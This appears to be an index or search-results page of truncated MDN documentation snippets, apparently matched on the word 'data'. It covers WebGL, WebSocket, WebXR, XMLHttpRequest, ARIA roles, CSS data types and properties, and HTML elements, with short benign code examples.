WebGLRenderingContext.bindBuffer() - Web APIs
possible values: gl.array_buffer: buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data.
WebGLRenderingContext.bindFramebuffer() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
WebGLRenderingContext.bindRenderbuffer() - Web APIs
possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format.
WebGLRenderingContext.checkFramebufferStatus() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
WebGLRenderingContext.compileShader() - Web APIs
the webglrenderingcontext.compileshader() method of the webgl api compiles a glsl shader into binary data so that it can be used by a webglprogram.
WebGLRenderingContext.createRenderbuffer() - Web APIs
return value a webglrenderbuffer object that stores data such an image, or can be source or target of an rendering operation.
WebGLRenderingContext.drawArrays() - Web APIs
the webglrenderingcontext.drawarrays() method of the webgl api renders primitives from array data.
WebGLRenderingContext.drawElements() - Web APIs
the webglrenderingcontext.drawelements() method of the webgl api renders primitives from array data.
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
but as a result, accessing avertexposition now obtains data from the vertex buffer.
WebGLRenderingContext.getBufferParameter() - Web APIs
possible values: gl.array_buffer: buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data.
WebGLRenderingContext.getFramebufferAttachmentParameter() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
WebGLRenderingContext.getRenderbufferParameter() - Web APIs
possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format.
WebGLTransformFeedback - Web APIs
it allows to preserve the post-transform rendering state of an object and resubmit this data multiple times.
WebGLVertexArrayObject - Web APIs
the webglvertexarrayobject interface is part of the webgl 2 api, represents vertex array objects (vaos) pointing to vertex array data, and provides names for different sets of vertex data.
Basic scissoring - Web APIs
a pixel is a picture element (in practice, a point) on the screen, or a single element of the drawing buffer, that area in memory that holds your pixel data (such as rgba color components).
Color masking - Web APIs
alternatively, you may use the rgb components for color, but the alpha component for some custom pixel data of your invention.
Detect WebGL - Web APIs
the webgl rendering context is an interface, through which you can set and query the state of the graphics machine, send data to the webgl, and execute draw commands.
Textures from code - Web APIs
" + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); cleanup(); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0, 0.0]), gl.static_draw); gl.vertexattribpointer(0, 2, gl.float, false, 0, 0); } function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clien...
Using shaders to apply color in WebGL - Web APIs
const colors = [ 1.0, 1.0, 1.0, 1.0, // white 1.0, 0.0, 0.0, 1.0, // red 0.0, 1.0, 0.0, 1.0, // green 0.0, 0.0, 1.0, 1.0, // blue ]; const colorbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, colorbuffer); gl.bufferdata(gl.array_buffer, new float32array(colors), gl.static_draw); return { position: positionbuffer, color: colorbuffer, }; } this code starts by creating a javascript array containing four 4-value vectors, one for each vertex color.
WebRTC coding guide - Web APIs
how do you create a web application that uses two-way video or data streams without having to do all the hard work of compressing frames, building streams, and so forth by yourself?
High-level guides - Web APIs
webrtc (web real-time communications) is a broad, multi-component system for setting up and operating complex audio, video, and data channels across networks among two or more peers on the web.
WebSocket.binaryType - Web APIs
the websocket.binarytype property returns the type of binary data being transmitted by the connection.
WebSocket: close event - Web APIs
bubbles no cancelable no interface closeevent event handler property onclose examples you might want to know when the connection has been closed so that you can update the ui or, perhaps, save data about the closed connection.
WebSocket: error event - Web APIs
the error event is fired when a connection with a websocket has been closed due to an error (some data couldn't be sent for example).
WebSocket.onopen - Web APIs
WebAPIWebSocketonopen
the websocket.onopen property is an eventhandler that is called when the websocket connection's readystate changes to 1; this indicates that the connection is ready to send and receive data.
The WebSocket API (WebSockets) - Web APIs
interfaces websocket the primary interface for connecting to a websocket server and then sending and receiving data on the connection.
WebXR performance guide - Web APIs
they can be thought of as being similar to the registers in a microprocessor: a limited set of memory storage slots for specific kinds of data or use cases.
WebXR Device API - Web APIs
using webxr input profiles a guide to interpreting the json data provided by the webxr input profiles registry, which can be used to determine what options and controls are available on the user's available input devices.
Web audio spatialization basics - Web APIs
ontrols wiring up out control buttons is comparatively simple — now we can listen for a mouse event on our controls and run this function, as well as stop it when the mouse is released: // for each of our controls, move the boombox and change the position values movecontrols.foreach(function(el) { let moving; el.addeventlistener('mousedown', function() { let direction = this.dataset.control; if (moving && moving.frameid) { window.cancelanimationframe(moving.frameid); } moving = moveboombox(direction); }, false); window.addeventlistener('mouseup', function() { if (moving && moving.frameid) { window.cancelanimationframe(moving.frameid); } }, false) }) summary hopefully, this article has given ...
window.location - Web APIs
WebAPIWindowlocation
on showloc() { var olocation = location, alog = ["property (typeof): value", "location (" + (typeof olocation) + "): " + olocation ]; for (var sprop in olocation){ alog.push(sprop + " (" + (typeof olocation[sprop]) + "): " + (olocation[sprop] || "n/a")); } alert(alog.join("\n")); } // in html: <button onclick="showloc();">show location properties</button> example #5: send a string of data to the server by modifying the search property: function senddata (sdata) { location.search = sdata; } // in html: <button onclick="senddata('some data');">send data</button> the current url with "?some%20data" appended is sent to the server (if no action is taken by the server, the current document is reloaded with the modified search string).
Window: message event - Web APIs
torigin = 'https://example.org'; const windowmessagebutton = document.queryselector('#window-message'); windowmessagebutton.addeventlistener('click', () => { targetframe.postmessage('hello there', targetorigin); }); the receiver can listen for the message using addeventlistener() with code like this: window.addeventlistener('message', (event) => { console.log(`received message: ${event.data}`); }); alternatively the listener could use the onmessage event handler property: window.onmessage = (event) => { console.log(`received message: ${event.data}`); }; specifications specification status html living standard living standard ...
Window.name - Web APIs
WebAPIWindowname
modern web applications hosting sensitive data should, however, not rely on window.name for cross-domain messaging but instead utilize the postmessage api.
Window.performance - Web APIs
syntax performancedata = window.performance; value a performance object offering access to the performance and timing-related information offered by the apis it exposes.
Window.window - Web APIs
WebAPIWindowwindow
this means: global variables of your script are in fact properties of window: var global = {data: 0}; alert(global === window.global); // displays "true" you can access built-in properties of the window object without having to type window.
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
examples self.queuemicrotask(() => { // function contents here }) taken from the queuemicrotask spec: myelement.prototype.loaddata = function (url) { if (this._cache[url]) { queuemicrotask(() => { this._setdata(this._cache[url]); this.dispatchevent(new event("load")); }); } else { fetch(url).then(res => res.arraybuffer()).then(data => { this._cache[url] = data; this._setdata(data); this.dispatchevent(new event("load")); }); } }; when queuemicrotask() isn't available the c...
Worker: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and listens to messages from it using addeventlistener(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); alternatively, it could listen using the onmessage event handler property: const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.log(`received message from worker: ${event.data}`) }; the worker posts messages using self.postmessage(): // static/scripts/worker.js self.postmessage('i\'m alive!'); specifications specification st...
Worker - Web APIs
WebAPIWorker
the message is stored in the event's data property.
WorkerGlobalScope.performance - Web APIs
can be referenced with workerglobalscope.self), you will get a workerperformance object written to the console — something like the following: workerperformance {now: function} __proto__: workerperformance constructor: function workerperformance() { [native code] } now: function now() { [native code] } __proto__: object you could use this performance object to return performance data, as you might do with a normal performance object.
WorkerGlobalScope.self - Web APIs
ative code] } length: 1 name: "array" observe: function observe() { [native code] } prototype: array[0] unobserve: function unobserve() { [native code] } __proto__: function empty() {} <function scope> arraybuffer: function arraybuffer() { [native code] } blob: function blob() { [native code] } boolean: function boolean() { [native code] } dataview: function dataview() { [native code] } date: function date() { [native code] } dedicatedworkerglobalscope: function dedicatedworkerglobalscope() { [native code] } error: function error() { [native code] } // etc.
WorkerNavigator - Web APIs
properties the workernavigator interface implements properties from the navigatorid, navigatorlanguage, navigatoronline, navigatordatastore, and navigatorconcurrenthardware interfaces.
WritableStreamDefaultWriter - Web APIs
writablestreamdefaultwriter.write() writes a passed chunk of data to a writablestream and its underlying sink, then returns a promise that resolves to indicate the success or failure of the write operation.
XDomainRequest.send() - Web APIs
syntax xdr.send(data); parameters data the form data to be sent with the request.
XDomainRequest - Web APIs
post data is specified in this method.
XMLDocument.async - Web APIs
WebAPIXMLDocumentasync
(it has been possible to load documents synchronously since 1.4 alpha.) example function loadxmldata(e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } var xmldoc = document.implementation.createdocument("", "test", null); xmldoc.async = false; xmldoc.onload = loadxmldata; xmldoc.load('querydata.xml'); ...
XMLDocument.load() - Web APIs
WebAPIXMLDocumentload
examples var xmldoc = document.implementation.createdocument("", "test", null); function documentloaded (e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } xmldoc.addeventlistener("load", documentloaded, false); xmldoc.load('querydata.xml'); see also the load sample in the xml tests directory.
HTML in XMLHttpRequest - Web APIs
second, you have to actually fetch a test document over http, because testing with a data: url would end up testing data: url support at the same time.
XMLHttpRequest: loadstart event - Web APIs
the loadstart event is fired when a request has started to load data.
XMLHttpRequest: progress event - Web APIs
the progress event is fired periodically when a request receives more data.
XMLHttpRequestEventTarget.onload - Web APIs
example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onload = function () { // do something with the retrieved data ( found in xmlhttp.response ) }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget - Web APIs
xmlhttprequesteventtarget.onloadstart contains the function that gets called when the http request first begins loading data and the loadstart event is received by this object.
XRReferenceSpaceEvent() - Web APIs
eventinitdict an object based on the xrreferencespaceeventinit dictionary, containing data used to initialize the new event object.
XRRigidTransform - Web APIs
the advantage to using xrrigidtransform in these places rather than bare arrays that providing the matrix data is that the xrrigidtransform automatically does things like computing the inverse of the transform.
XRSpace - Web APIs
WebAPIXRSpace
spatial data in webxr is always expressed relative to an object based upon one of the descendant interfaces of xrspace, at the time at which a given xrframe takes place.
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
this ensures that the scene we render will not only match the viewpoint we need to express (which is defined by the position and orientation data in the pose), but that the rendered output will be constrained within the correct portion of the frame buffer for the eye we're drawing, regardless of any scaling that is being performed.
XRWebGLLayer - Web APIs
that function receives as input an xrframe which encapsulates the data needed to render the frame.
ARIA Screen Reader Implementors Guide - Accessibility
this is particularly important for changes in data cells, where the column and row headers provide important contextual information.
Using the presentation role - Accessibility
for example, a table used for layout purposes could have the presentation role applied to the table element to remove any semantic meaning from the table element and any of its table related children elements, such as table headers and table data elements.
Using the status role - Accessibility
<p role="status">your changes were automatically saved.</p> working examples: notes aria attributes used status related aria techniques alert role live region roles live region attributes compatibility the paciello group published some data on compatibility via their 2014 blog post: screen reader support for aria live regions tbd: add updated support information for common ua and at product combinations additional resources previous recommendations from wai-aria 1.0 (2014) for the status role ...
ARIA Test Cases - Accessibility
when possible provide a link to the bug in the database so that its status can be reviewed.
ARIA: contentinfo role - Accessibility
<article> <h2>everyday pad thai</h2> <!-- article content --> <footer aria-label="everyday pad thai metadata"> <p>posted on <time datetime="2018-09-23 12:17">may 16</time> by <a href="#">lisa</a>.</p> </footer> </article> ...
ARIA: form role - Accessibility
anything that is not a <form> cannot be submitted, therefore you would have to use javascript to build an alternative data submission mechanism, for example with xmlhttprequest.
ARIA: Mark role - Accessibility
<p>the last half of the song is a slow-rising crescendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> the related comment is marked up using an html structure wrapped with a <div> containing role="comment".
WAI-ARIA Roles - Accessibility
hecked" states, which are fairly generic in meaning, the switch role represents the states "on" and "off."aria: tab rolethe aria tab role indicates an interactive element inside a tablist that, when activated, displays its associated tabpanel.aria: table rolethe table value of the aria role attribute identifies the element containing the role as having a non-interactive table structure containing data arranged in rows and columns, similar to the native <table> html element.aria: tabpanel rolethe aria tabpanel role indicatesaria: textbox rolethe textbox role is used to identify an element that allows the input of free-form text.
An overview of accessible web applications and widgets - Accessibility
presentational changes dynamic presentational changes include using css to change the appearance of content (such as a red border around invalid data, or changing the background color of a checked checkbox), as well as showing or hiding content.
HTML To MSAA - Accessibility
tribute, empty @alt attribute means name can't be calculated at all n/a state_system_ animated if image has more than one frame n/a "showlongdesc" if @longdesc attribute is presented n/a if @usemap attribute is used then image accessible has children for each map item input @type=button, submit, reset role_system_ pushbutton from @value attribute, @alt attribute, default label, @src attribute, @data attribute n/a state_system_ default if @type attribute has value "submit" n/a "press" n/a input @type=text, textarea role_system_ text n/a value property of input dom element state_system_ readonly if @readonly attribute is used n/a "activate" n/a input @type=password role_system_ text n/a n/a state_system_ readonly if @readonly attribute is used state_system_ protected n/a "activate" ...
Accessibility documentation index - Accessibility
74 aria: table role aria, aria role, aria table, aria table role, accessibility, reference, table role the table value of the aria role attribute identifies the element containing the role as having a non-interactive table structure containing data arranged in rows and columns, similar to the native <table> html element.
Operable - Accessibility
2.2.5 re-authenticating (aaa) if an authentication session expires during usage of a web app, the user can re-authenticate and continue their usage without losing any data.
-moz-context-properties - CSS: Cascading Style Sheets
for example: .img1 { width: 100px; height: 100px; -moz-context-properties: fill, stroke; fill: lime; stroke: purple; } now that you've done this, the svg image can use the values of the fill and stroke properties, for example: <img class="img1" src="data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg'> <rect width='100%' height='100%' stroke-width='30px' fill='context-fill red' stroke='context-stroke' fill-opacity='0.5'/></svg>"> here we've set the image src to a data uri containing a simple svg image; the <rect> inside has been made to take its fill and stroke values from the fill and str...
::placeholder - CSS: Cascading Style Sheets
it is important to ensure that the contrast ratio between the color of the placeholder text and the background of the input is high enough that people experiencing low vision conditions will be able to read it while also making sure there is enough of a difference between the placeholder text and input text color that users do not mistake the placeholder for inputed data.
:required - CSS: Cascading Style Sheets
WebCSS:required
/* selects any required <input> */ input:required { border: 1px dashed red; } this pseudo-class is useful for highlighting fields that must have valid data before a form can be submitted.
symbols - CSS: Cascading Style Sheets
this must be one of the following data types: <string> <image> (note: this value is "at risk" and may be removed from the specification.
@document - CSS: Cascading Style Sheets
WebCSS@document
@document is currently only supported in firefox; if you wanted to replicate using such functionality in your own non-firefox browser, you could try using this polyfill by @an-error94, which uses a combination of a user script, data-* attributes, and attribute selectors.
@font-face - CSS: Cascading Style Sheets
src specifies the resource containing the font data.
aspect-ratio - CSS: Cascading Style Sheets
</div> css /* minimum aspect ratio */ @media (min-aspect-ratio: 8/5) { div { background: #9af; /* blue */ } } /* maximum aspect ratio */ @media (max-aspect-ratio: 3/2) { div { background: #9ff; /* cyan */ } } /* exact aspect ratio, put it at the bottom to avoid override*/ @media (aspect-ratio: 1/1) { div { background: #f9a; /* red */ } } _example used iframe and dataurl to enable this iframe could resize html <label id="wf" for="w">width:165</label> <input id="w" name="w" type="range" min="100" max="250" step="5" value="165"> <label id="hf" for="w">height:165</label> <input id="h" name="h" type="range" min="100" max="250" step="5" value="165"> <iframe id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div { background: %239af; } } @med...
viewport-fit - CSS: Cascading Style Sheets
this descriptor hasn't been added to https://github.com/mdn/data/blob/master/css/at-rules.json yet.
CSS Color - CSS: Cascading Style Sheets
WebCSSCSS Color
reference properties color color-adjust opacity data types <color> guides applying color to html elements using css a guide to using css to apply color to a variety of types of content.
Handling content breaks in multicol - CSS: Cascading Style Sheets
the compatibility data charts on the individual property pages here on mdn can help you see which browsers support which features.
CSS Display - CSS: Cascading Style Sheets
reference css properties display css data types <display-outside> <display-inside> <display-listitem> <display-box> <display-internal> <display-legacy> guides css flow layout (display: block, display: inline) block and inline layout in normal flow flow layout and overflow flow layout and writing modes formatting contexts explained in flow and out of flow display: flex basic concepts of flexbox aligning items in a flex container controlling ratios of flex items along the main axis cross-browser flexbox mixins mastering wrapping of flex items ordering flex items relationship of flexbox to other layo...
CSS Grid Layout - CSS: Cascading Style Sheets
.six { grid-column: 3; grid-row: 4; } reference css properties grid-template-columns grid-template-rows grid-template-areas grid-template grid-auto-columns grid-auto-rows grid-auto-flow grid grid-row-start grid-column-start grid-row-end grid-column-end grid-row grid-column grid-area row-gap column-gap gap css functions repeat() minmax() fit-content() css data types <flex> glossary entries grid grid lines grid tracks grid cell grid area gutters grid axis grid row grid column guides basic concepts of grid layout relationship of grid layout to other layout methods layout using line-based placement grid template areas layout using named grid lines auto-placement in css grid layout box alignment in css grid layout css grid,...
Using CSS gradients - CSS: Cascading Style Sheets
css gradients are represented by the <gradient> data type, a special type of <image> made of a progressive transition between two or more colors.
CSS Images - CSS: Cascading Style Sheets
reference properties image-orientation image-rendering image-resolution object-fit object-position functions linear-gradient() radial-gradient() repeating-linear-gradient() repeating-radial-gradient() conic-gradient() repeating-conic-gradient() url() element() image() cross-fade() data types <gradient> <image> guides using css gradients presents a specific type of css images, gradients, and how to create and use these.
Logical properties for floating and positioning - CSS: Cascading Style Sheets
look to the browser compatibility data section on each property page reference for more details.
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
i would suggest at this point you should implement the new specification only, unless you have data to show a large number of users who would benefit from a fallback version.
Overview of CSS Shapes - CSS: Cascading Style Sheets
it takes a variety of values, all of which define different shapes, specified in the <basic-shape> datatype.
CSS Shapes - CSS: Cascading Style Sheets
reference properties shape-image-threshold shape-margin shape-outside data types <basic-shape> guides overview of css shapes shapes from box values basic shapes shapes from images edit shape paths in css — firefox developer tools external resources a list of css shapes resources css shapes 101 creating non-rectangular layouts with css shapes how to use css shapes in your web design how to get started with css shapes what i learned in one weeken...
CSS Table - CSS: Cascading Style Sheets
WebCSSCSS Table
css table is a css module that defines how to lay out table data.
CSS Transforms - CSS: Cascading Style Sheets
reference properties backface-visibility perspective perspective-origin rotate scale transform transform-box transform-origin transform-style translate data types <transform-function> guides using css transforms step-by-step tutorial about how to transform elements styled with css.
Comments - CSS: Cascading Style Sheets
WebCSSComments
specifications css 2.1 syntax and basic data types #comments ...
Compositing and Blending - CSS: Cascading Style Sheets
reference properties background-blend-mode isolation mix-blend-mode data types <blend-mode> specifications specification status comment compositing and blending level 1 candidate recommendation initial definition ...
Filter Effects - CSS: Cascading Style Sheets
reference properties backdrop-filter filter data types <filter-function> specifications specification status comment filter effects module level 1the definition of 'filter' in that specification.
Syntax - CSS: Cascading Style Sheets
WebCSSSyntax
they are used to convey meta-data information (like @charset or @import), conditional information (like @media or @document), or descriptive information (like @font-face).
<angle-percentage> - CSS: Cascading Style Sheets
the <angle-percentage> css data type represents a value that can be either a <angle> or a <percentage>.
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
firefox chrome safari image-controls-button div{ color: black; -moz-appearance: image-controls-button; -webkit-appearance: image-controls-button; } <div>lorem</div> safari list-button div{ color: black; -moz-appearance: list-button; -webkit-appearance: list-button; } <div>lorem</div> safari datalist listitem div { color: black; -moz-appearance: listitem; -webkit-appearance: listitem; } <div>lorem</div> firefox chrome safari edge media-enter-fullscreen-button div{ color: black; -webkit-appearance: media-enter-fullscreen-button; } <div>lorem</div> chrome safari media-exit-fullscreen-button ...
background-image - CSS: Cascading Style Sheets
candidate recommendation from css2 revision 1, the property has been extended to support multiple backgrounds and any <image> css data type.
border-bottom-left-radius - CSS: Cascading Style Sheets
as absolute length it can be expressed in any unit allowed by the css <length> data type.
border-bottom-right-radius - CSS: Cascading Style Sheets
as absolute length it can be expressed in any unit allowed by the css <length> data type.
border-color - CSS: Cascading Style Sheets
candidate recommendation the transparent keyword has been removed as it is now a part of the <color> data type.
border-end-end-radius - CSS: Cascading Style Sheets
as absolute length it can be expressed in any unit allowed by the css <length> data type.
border-end-start-radius - CSS: Cascading Style Sheets
as absolute length it can be expressed in any unit allowed by the css <length> data type.
border-start-end-radius - CSS: Cascading Style Sheets
as absolute length it can be expressed in any unit allowed by the css <length> data type.
border-start-start-radius - CSS: Cascading Style Sheets
as absolute length it can be expressed in any unit allowed by the css <length> data type.
border-top-left-radius - CSS: Cascading Style Sheets
as absolute length it can be expressed in any unit allowed by the css <length> data type.
border-top-right-radius - CSS: Cascading Style Sheets
as absolute length it can be expressed in any unit allowed by the css <length> data type.
border-width - CSS: Cascading Style Sheets
candidate recommendation no direct change; the <length> css data type extension has an effect on this property.
content - CSS: Cascading Style Sheets
WebCSScontent
<image> an <image>, denoted by the <url> or <gradient> data type, or part of the webpage, defined by the element() function, denoting the content to display.
<custom-ident> - CSS: Cascading Style Sheets
the <custom-ident> css data type denotes an arbitrary user-defined string used as an identifier.
<dimension> - CSS: Cascading Style Sheets
WebCSSdimension
the <dimension> css data type represents a <number> with a unit attached to it, for example 10px.
display - CSS: Cascading Style Sheets
WebCSSdisplay
argin: 20px; } javascript const articles = document.queryselectorall('.container'); const select = document.queryselector('select'); function updatedisplay() { articles.foreach((article) => { article.style.display = select.value; }); } select.addeventlistener('change', updatedisplay); updatedisplay(); result note: you can find more examples in the pages for each separate display data type, linked above.
<easing-function> - CSS: Cascading Style Sheets
the <easing-function> css data type denotes a mathematical function that describes how fast one-dimensional values change during animations.
<frequency-percentage> - CSS: Cascading Style Sheets
the <frequency-percentage> css data type represents a value that can be either a <frequency> or a <percentage>.
ident - CSS: Cascading Style Sheets
WebCSSident
the <ident> css data type denotes an arbitrary string used as an identifier.
image-rendering - CSS: Cascading Style Sheets
(just prepend the actual rules with the fallback.) the canvas api can provide a fallback solution for pixelated through manual image data manipulation or with imagesmoothingenabled.
ime-mode - CSS: Cascading Style Sheets
WebCSSime-mode
in the past, this was commonly used on fields that entered data into databases which didn't support extended character sets.
<length-percentage> - CSS: Cascading Style Sheets
the <length-percentage> css data type represents a value that can be either a <length> or a <percentage>.
list-style-image - CSS: Cascading Style Sheets
working draft extends support to any <image> data type.
<time-percentage> - CSS: Cascading Style Sheets
the <time-percentage> css data type represents a value that can be either a <time> or a <percentage>.
matrix() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
matrix3d() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
perspective() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
rotate() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
rotate3d() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
rotateX() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
rotateY() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
rotateZ() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
scale() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
scale3d() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
scaleX() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
scaleY() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
scaleZ() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
skew() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
skewX() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
skewY() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
translate() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
translate3d() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
translateX() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
translateY() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
translateZ() - CSS: Cascading Style Sheets
its result is a <transform-function> data type.
unicode-bidi - CSS: Cascading Style Sheets
this value allows the display of data that is already formatted using a tool following the unicode bidirectional algorithm.
math:max() - EXSLT
WebEXSLTmathmax
to compute the maximum value of the node-set, the node set is sorted into descending order as it would be using xsl:sort() with a data type of number.
math:min() - EXSLT
WebEXSLTmathmin
to compute the minimum value of the node-set, the node set is sorted into ascending order as it would be using xsl:sort() with a data type of number.
WAI ARIA Live Regions/API Support - Developer guides
atk/at-spi event iaccessible2 event object about to be hidden or removed children_changed::remove (fired on the parent, with event data pointing to the child index of the accessible object to be removed) event_object_hide* (fired on the actual accessible object about to go away) object shown or inserted children_changed::add (fired on the parent, with event data pointing to the child index of the inserted accessible object) event_object_show* (fired on the actual new accessible object) object replaced w...
Media buffering, seeking, and time ranges - Developer guides
ffered.end(myaudio.buffered.length - 1 - i) / duration) * 100 + "%"; break; } } } }); myaudio.addeventlistener('timeupdate', function() { var duration = myaudio.duration; if (duration > 0) { document.getelementbyid('progress-amount').style.width = ((myaudio.currenttime / duration)*100) + "%"; } }); } the progress event is fired as data is downloaded, this is a good event to react to if we want to display download or buffering progress.
Challenge solutions - Developer guides
solution the following rule achieves the desired result: #fixed-pin { position:fixed; top: 3px; right: 3px; } tables borders on data cells only challenge change the stylesheet to make the table have a green border around only the data cells.
DOM onevent handlers - Developer guides
if the event handler doesn't access any data from the event object, you can leave out the event when calling onclick().
Mutation events - Developer guides
mutation events list the following is a list of all mutation events, as defined in dom level 3 events specification: domattrmodified domattributenamechanged domcharacterdatamodified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified mutation observers alternatives examples domnoderemovedfromdocument var isdescendant = function (desc, root) { return !!desc && (desc === root || isdescendant(desc.parentnode, root)); }; var onremove = function (element, callback) { var observer...
Using device orientation with 3D transforms - Developer guides
using orientation to rotate an element the easiest way to convert orientation data to a 3d transform is basically to use the alpha, gamma, and beta values as rotatez, rotatex and rotatey values.
Event developer guide - Developer guides
WebGuideEvents
orientation and motion data explainedwhen using orientation and motion events, it's important to understand what the values you're given by the browser mean.
Graphics on the Web - Developer guides
webrtc the rtc in webrtc stands for real-time communications, a technology that enables audio/video streaming and data sharing between browser clients (peers).
Constraint validation - Developer guides
in other words, this method sends the form data to the server even if doesn't satisfy the constraints.
HTML5 Parser - Developer guides
WebGuideHTMLHTML5HTML5 Parser
when an svg or mathml element is open <![cdata[…]]> sections work the way they do in xml.
Introduction to HTML5 - Developer guides
it offers new features that provide not only rich media support but also enhance support for creating web applications that can interact with users, their local data, and servers more easily and effectively than was previously possible.
Mobile-friendliness - Developer guides
goal #3 (performance) “give your users a smooth experience, even on a slow connection.” though things have been getting better in recent years, browsing the internet over a wireless data connection can still be pretty painful.
Parsing and serializing XML - Developer guides
domparser constructs a dom tree by parsing a string containing xml, returning a xmldocument or document as appropriate based on the input data.
The HTML autocomplete attribute - HTML: Hypertext Markup Language
no guidance is provided as to the type of data expected in the field, so the browser may use its own judgement.
HTML attribute: capture - HTML: Hypertext Markup Language
the capture attribute takes as it's value a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.
HTML attribute: crossorigin - HTML: Hypertext Markup Language
the crossorigin attribute, valid on the <audio>, <img>, <link>, <script>, and <video> elements, provides support for cors, defining how the element handles crossorigin requests, thereby enabling the configuration of the cors requests for the element's fetched data.
HTML attribute: max - HTML: Hypertext Markup Language
WebHTMLAttributesmax
## <input type="week" max="2019-w23" step=""> time hh:mm <input type="time" max="17:00" step="900"> datetime-local yyyy-mm-ddthh:mm <input type="datetime-local" min="2019-12-25t23:59"> number <number> <input type="number" min="0" step="5" max="100"> range <number> <input type="range" min="60" step="5" max="100"> note: when the data entered by the user doesn't adhere to the maximum value set, the value is considered invalid in contraint validation and will match the :invalid and :out-of-range pseudoclasses see client-side validation and rangeoverflow for more information.
HTML attribute: min - HTML: Hypertext Markup Language
WebHTMLAttributesmin
## <input type="week" min="2019-w23" step=""> time hh:mm <input type="time" min="09:00" step="900"> datetime-local yyyy-mm-ddthh:mm <input type="datetime-local" min="2019-12-25t19:30"> number <number> <input type="number" min="0" step="5" max="100"> range <number> <input type="range" min="60" step="5" max="100"> note: when the data entered by the user doesn't adhere to the min value set, the value is considered invalid in contraint validation and will match the :invalid pseudoclass see client-side validation and rangeunderflow for more information.
HTML attribute: rel - HTML: Hypertext Markup Language
WebHTMLAttributesrel
only the data on the page can indicate this.
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
WebHTMLElementabbr
example <p>javascript object notation (<abbr>json</abbr>) is a lightweight data-interchange format.</p> this is especially helpful for people who are unfamiliar with the terminology or concepts discussed in the content, people who are new to the language, and people with cognitive concerns.
<base>: The Document Base URL element - HTML: Hypertext Markup Language
WebHTMLElementbase
content categories metadata content.
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
WebHTMLElementbdi
but if you don't know the directionality - for example, because embedded-text is being read from a database or entered by the user - you should use <bdi> to prevent the directionality of embedded-text from affecting its surroundings.
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
example this example demonstrates the use of the <blockquote> element to quote a passage from rfc 1149, a standard for the transmission of ip datagrams on avian carriers.
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
WebHTMLElementcanvas
the following is some data we've collected from various tests and other sources (e.g.
<cite>: The Citation element - HTML: Hypertext Markup Language
WebHTMLElementcite
the reference may be in an abbreviated form according to context-appropriate conventions related to citation metadata.
<col> - HTML: Hypertext Markup Language
WebHTMLElementcol
charoff this attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the char attribute.
<colgroup> - HTML: Hypertext Markup Language
WebHTMLElementcolgroup
charoff this attribute is used to indicate the number of characters to offset the column data from the alignment character specified by the char attribute.
<command>: The HTML Command element - HTML: Hypertext Markup Language
WebHTMLElementcommand
content categories flow content, phrasing content, metadata content.
